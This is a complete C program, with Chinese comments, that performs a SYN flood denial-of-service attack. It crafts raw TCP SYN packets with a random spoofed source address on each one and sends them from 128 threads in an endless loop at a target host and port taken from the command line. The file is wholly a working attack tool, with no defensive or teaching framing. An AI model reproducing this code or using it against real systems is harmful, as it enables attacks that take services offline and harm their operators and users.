

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

> File Name: syn\_flood.c

> Author: Jiange

> Mail: jiangezh@qq.com

> Created Time: 2016年01月01日 星期五 22时32分34秒

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

#include <stdio.h>

#include <ctype.h>

#include <unistd.h>

#include <fcntl.h>

#include <signal.h>

#include <sys/time.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <string.h>

#include <netdb.h>

#include <errno.h>

#include <stdlib.h>

#include <time.h>

#include <arpa/inet.h>

/\* 最多线程数 \*/

#define MAXCHILD 128

/\* 原始套接字 \*/

int sockfd;

/\* 程序活动标志 \*/

static int alive = -1;

char dst\_ip[20] = { 0 };

int dst\_port;

struct ip{

unsigned char hl;

unsigned char tos;

unsigned short total\_len;

unsigned short id;

unsigned short frag\_and\_flags;

unsigned char ttl;

unsigned char proto;

unsigned short checksum;

unsigned int sourceIP;

unsigned int destIP;

};

struct tcphdr{

unsigned short sport;

unsigned short dport;

unsigned int seq;

unsigned int ack;

unsigned char lenres;

unsigned char flag;

unsigned short win;

unsigned short sum;

unsigned short urp;

};

struct pseudohdr

{

unsigned int saddr;

unsigned int daddr;

char zero;

char protocol;

unsigned short length;

};

/\* CRC16校验 \*/

unsigned short inline

checksum (unsigned short \*buffer, unsigned short size)

{

unsigned long cksum = 0;

while(size>1){

cksum += \*buffer++;

size -= sizeof(unsigned short);

}

if(size){

cksum += \*(unsigned char \*)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >> 16);

return((unsigned short )(~cksum));

}

/\* 发送SYN包函数

\* 填写IP头部，TCP头部

\* TCP伪头部仅用于校验和的计算

\*/

void

init\_header(struct ip \*ip, struct tcphdr \*tcp, struct pseudohdr \*pseudoheader)

{

int len = sizeof(struct ip) + sizeof(struct tcphdr);

// IP头部数据初始化

ip->hl = (4<<4 | sizeof(struct ip)/sizeof(unsigned int));

ip->tos = 0;

ip->total\_len = htons(len);

ip->id = 1;

ip->frag\_and\_flags = 0x40;

ip->ttl = 255;

ip->proto = IPPROTO\_TCP;

ip->checksum = 0;

ip->sourceIP = 0;

ip->destIP = inet\_addr(dst\_ip);

// TCP头部数据初始化

tcp->sport = htons( rand()%16383 + 49152 );

tcp->dport = htons(dst\_port);

tcp->seq = htonl( rand()%90000000 + 2345 );

tcp->ack = 0;

tcp->lenres = (sizeof(struct tcphdr)/4<<4|0);

tcp->flag = 0x02;

tcp->win = htons (2048);

tcp->sum = 0;

tcp->urp = 0;

//TCP伪头部

pseudoheader->zero = 0;

pseudoheader->protocol = IPPROTO\_TCP;

pseudoheader->length = htons(sizeof(struct tcphdr));

pseudoheader->daddr = inet\_addr(dst\_ip);

srand((unsigned) time(NULL));

}

/\* 发送SYN包函数

\* 填写IP头部，TCP头部

\* TCP伪头部仅用于校验和的计算

\*/

void

send\_synflood(struct sockaddr\_in \*addr)

{

char buf[100], sendbuf[100];

int len;

struct ip ip; //IP头部

struct tcphdr tcp; //TCP头部

struct pseudohdr pseudoheader; //TCP伪头部

len = sizeof(struct ip) + sizeof(struct tcphdr);

/\* 初始化头部信息 \*/

init\_header(&ip, &tcp, &pseudoheader);

/\* 处于活动状态时持续发送SYN包 \*/

while(alive)

{

ip.sourceIP = rand();

//计算IP校验和

bzero(buf, sizeof(buf));

memcpy(buf , &ip, sizeof(struct ip));

ip.checksum = checksum((u\_short \*) buf, sizeof(struct ip));

pseudoheader.saddr = ip.sourceIP;

//计算TCP校验和

bzero(buf, sizeof(buf));

memcpy(buf , &pseudoheader, sizeof(pseudoheader));

memcpy(buf+sizeof(pseudoheader), &tcp, sizeof(struct tcphdr));

tcp.sum = checksum((u\_short \*) buf, sizeof(pseudoheader)+sizeof(struct tcphdr));

bzero(sendbuf, sizeof(sendbuf));

memcpy(sendbuf, &ip, sizeof(struct ip));

memcpy(sendbuf+sizeof(struct ip), &tcp, sizeof(struct tcphdr));

printf(".");

if (

sendto(sockfd, sendbuf, len, 0, (struct sockaddr \*) addr, sizeof(struct sockaddr))

< 0)

{

perror("sendto()");

pthread\_exit("fail");

}

//sleep(1);

}

}

/\* 信号处理函数,设置退出变量alive \*/

void

sig\_int(int signo)

{

alive = 0;

}

/\* 主函数 \*/

int

main(int argc, char \*argv[])

{

struct sockaddr\_in addr;

struct hostent \* host = NULL;

int on = 1;

int i = 0;

pthread\_t pthread[MAXCHILD];

int err = -1;

alive = 1;

/\* 截取信号CTRL+C \*/

signal(SIGINT, sig\_int);

/\* 参数是否数量正确 \*/

if(argc < 3)

{

printf("usage: syn <IPaddress> <Port>\n");

exit(1);

}

strncpy( dst\_ip, argv[1], 16 );

dst\_port = atoi( argv[2] );

bzero(&addr, sizeof(addr));

addr.sin\_family = AF\_INET;

addr.sin\_port = htons(dst\_port);

if(inet\_addr(dst\_ip) == INADDR\_NONE)

{

/\* 为DNS地址，查询并转换成IP地址 \*/

host = gethostbyname(argv[1]);

if(host == NULL)

{

perror("gethostbyname()");

exit(1);

}

addr.sin\_addr = \*((struct in\_addr\*)(host->h\_addr));

strncpy( dst\_ip, inet\_ntoa(addr.sin\_addr), 16 );

}

else

addr.sin\_addr.s\_addr = inet\_addr(dst\_ip);

if( dst\_port < 0 || dst\_port > 65535 )

{

printf("Port Error\n");

exit(1);

}

printf("host ip=%s\n", inet\_ntoa(addr.sin\_addr));

/\* 建立原始socket \*/

sockfd = socket (AF\_INET, SOCK\_RAW, IPPROTO\_TCP);

if (sockfd < 0)

{

perror("socket()");

exit(1);

}

/\* 设置IP选项 \*/

if (setsockopt (sockfd, IPPROTO\_IP, IP\_HDRINCL, (char \*)&on, sizeof (on)) < 0)

{

perror("setsockopt()");

exit(1);

}

/\* 将程序的权限修改为普通用户 \*/

setuid(getpid());

/\* 建立多个线程协同工作 \*/

for(i=0; i<MAXCHILD; i++)

{

err = pthread\_create(&pthread[i], NULL, send\_synflood, &addr);

if(err != 0)

{

perror("pthread\_create()");

exit(1);

}

}

/\* 等待线程结束 \*/

for(i=0; i<MAXCHILD; i++)

{

err = pthread\_join(pthread[i], NULL);

if(err != 0)

{

perror("pthread\_join Error\n");

exit(1);

}

}

close(sockfd);

return 0;

}